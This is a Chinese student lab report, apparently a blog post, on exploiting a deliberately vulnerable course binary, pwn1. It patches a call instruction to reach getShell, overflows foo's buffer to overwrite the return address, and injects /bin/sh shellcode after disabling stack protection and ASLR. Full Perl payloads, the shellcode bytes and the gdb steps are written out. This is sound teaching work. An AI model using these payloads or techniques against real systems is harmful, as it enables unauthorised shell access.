20231917周竞 2023-2024-2 《网络攻防实践》第9次作业

一、实践内容

1.1实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3、注入一个自己制作的shellcode并运行这段shellcode。

1.2实验要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

二、实践过程

首先使用hostname命令将主机名临时改为20231917zj(重启恢复默认)。
在这里插入图片描述
将学习通下载的文件pwn1解压缩并放入kali的桌面。
将pwn1文件改名为pwn20231917。
在这里插入图片描述
在这里插入图片描述
复制三个该文件,以下三个实验每个开始前都需要使用这个文件最初的状态。
在这里插入图片描述

2.1 可执行文件的修改

pwn原本的功能是简单回显用户输入的字符串,如图:
在这里插入图片描述
首先反汇编第一个复制的pwn文件,命令:objdump -d pwn20231917 | more
在这里插入图片描述
反汇编后显示了这个程序使用的所有函数。
按enter键查看更多,如下图中的getshell、foo和main函数。
在这里插入图片描述
可以看到,main函数中的第四行call指令,会将函数调用到foo函数中,而foo函数中没有跳转到getShell函数(0804847d)的指令。进一步分析得出,在这个文件中,call指令的机器码是e8。
实际上,8048491=80484ba+ffffffd7,也就是说,call指令跳转到的目标foo函数的地址(8048491)正是该指令的下一条指令的EIP寄存器的值(80484ba,这正是该指令的下一条指令的地址)与该指令的表示目标的字段(ffffffd7,小端优先)之和。
因此,我们可以这样修改:
由于804847d-80484ba=ffffffc3,所以我们只需要把call指令的目标地址由d7ffffff改为c3ffffff即可。

用vi编辑器打开pwn20222933,得到一串乱码。
在这里插入图片描述
按下esc离开编辑模式,然后键入:%!xxd,切换到16进制模式。
在这里插入图片描述
根据之前看到的反汇编的结果,键入/d7,进行定位,如果前后正是e8d7ffff,即可判断这就是我们要修改的位置(在000004b0行)。
修改d7为c3(光标定位到要切换的字符,按r键进入到切换字符模式,然后键入)。
在这里插入图片描述
在这里插入图片描述
然后转换为原来的格式:%!xxd -r,保存退出:wq。

重新反汇编objdump -d pwn20231917 | more,发现主函数中的call指令目标成功切换到了getShell。
在这里插入图片描述
运行一下,./pwn20231917,发现该程序改为调用shell指令了。
在这里插入图片描述

2.2 改变指令流,实现BOF攻击

首先反汇编第二个复制的pwn文件,查看一下程序的基本功能,找到foo的漏洞。
先看foo函数。
在这里插入图片描述
第三行的sub指令,给堆栈预留了一定大小的空间;通过第四行的lea指令,将携带偏移量0x1c的ebp放到eax,然后在第五行,将eax放到堆栈esp上,相当于把一定大小的空间(长度为28)预留给函数gets@plt(负责读取用户输入的字符串,将字符串拷贝到指针ptr中)。
分析可得,该函数会预留一个28字节的空间,当输入长度大于28字节的字符串时,会发生缓冲区溢出。
该函数的ebp部分是从主函数main通过call foo指令传入的,所以溢出的一部分将被作为eip寄存器的值。而eip和ebp寄存器的长度恰为4字节。
如果我们把eip的值,也就是输入的字符串的第33-36个字节设为getshell的地址值0804847d,那么,我们会进入getshell函数,从而实现对shell指令的控制。
由于elf语言是小端优先,我们在33-36个字节应该这样输入:\x7d\x84\x04\x08。
但是,由于这四个字符无法直接通过键盘输入,我们需要采取额外的手段。这里使用Perl。Perl是一门解释性语言,可以直接在命令行上使用。
运行命令perl -e ‘print “11112222333344445555666677778888\x7d\x84\x04\x08\x0a”’ > pwn20231917_input,输出到pwn20231917_input文件中。
由于pwn20231917_input中有些字符无法显示,故通过管道进行输入:(cat pwn20231917_input; cat) | ./pwn20231917-1,即将20231917的输入,通过管道符’|',作为pwn20231917-1的输入。
然后输入相应的shell指令,发现这个程序确实在使用getShell函数,将输入的字符串当成shell指令处理了,说明BOF攻击是成功的。
在这里插入图片描述
在这里插入图片描述

2.3 注入shellcode代码

使用命令sudo apt-get install execstack,安装execstack。
输入下列指令:
execstack -s ./pwn20231917-2,将堆栈设为可执行状态;
execstack -q ./pwn20231917-2,查看文件pwn的堆栈是否为可执行状态;
echo “0” > /proc/sys/kernel/randomize_va_space,关闭地址随机化;
more /proc/sys/kernel/randomize_va_space,查看地址随机化状态。
在这里插入图片描述
输入指令:
perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > input_shellcode,构造输入的字符串,覆盖33-36字节返回地址
输入指令:
(cat input_shellcode; cat) | ./pwn20231917-2,将input_shellcode作为pwn20231917-2的输入。
在这里插入图片描述
打开另一个终端,输入指令:ps -ef | grep pwn20231917-2,查询pwn20231917-2的进程,查询到的进程号为114147。
在这里插入图片描述
sudo apt-get install gdb,安装gdb。
输入指令"gdb pwn20231917-2"打开gdb对pwn20231917-2进行调试。
在这里插入图片描述
然后输入指令"attach 114147"找到对应的进程。
在这里插入图片描述
输入指令"disassemble foo"对foo函数进行反汇编。
在这里插入图片描述
找到应该放置断点的位置,断点应该放到ret之前,输入指令"break *0x080484ae"设置断点。
在这里插入图片描述
设置完毕,在之前运行pwn20231917-2的终端中按下回车继续执行程序。
gdb中输入指令"c",继续执行。
在这里插入图片描述
原终端显示如下:
在这里插入图片描述
程序中断,输入指令"info r esp"查看栈顶指针所在的位置:0xffffd3bc。
在这里插入图片描述
输入指令"x/16x 0xffffd3bc"查看存放内容。其中的0x01020304,就是返回地址的位置。
在这里插入图片描述
根据input_shellcode可知,shellcode就在其后+4,所以地址应为0xffffd3c0。
在一个新终端中,输入指令perl -e ‘print “A” x 32;print “\xc0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a”’ > input_shellcode,构造最终的shellcode。
在这里插入图片描述
然后输入指令(cat input_shellcode;cat) | ./pwn20231917-2再次运行。
发现攻击完成。输入ls能够查看目录信息。输入ifconfig可以查看IP信息。
在这里插入图片描述

三、学习中遇到的问题及解决

问题1:执行pwn程序时受限。
在这里插入图片描述
解决方案:原错误情况是将pwn压缩包在主机解压后放入虚拟机,将操作改为在虚拟机中解压并使用,权限受限问题得到解决。

问题2:安装execstack时显示Unable to locate package execstack,安装失败。
解决方案:见参考资料一。

四、实践总结

通过本次实践,我对shellcode技术和汇编语言有了初步的了解,通过手工修改可执行文件,我学会了如何控制程序流程,跳转到自定义的getShell函数,体会到了程序运行的深层次的逻辑。利用foo函数的Bof漏洞,我成功构造了攻击字符串,理解了缓冲区溢出的危害,加深了我对程序底层运行逻辑的认识,感受到网络攻击的漏洞利用十分巧妙。

五、参考资料

-(https://blog.csdn.net/weixin_43729943/article/details/104221462)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值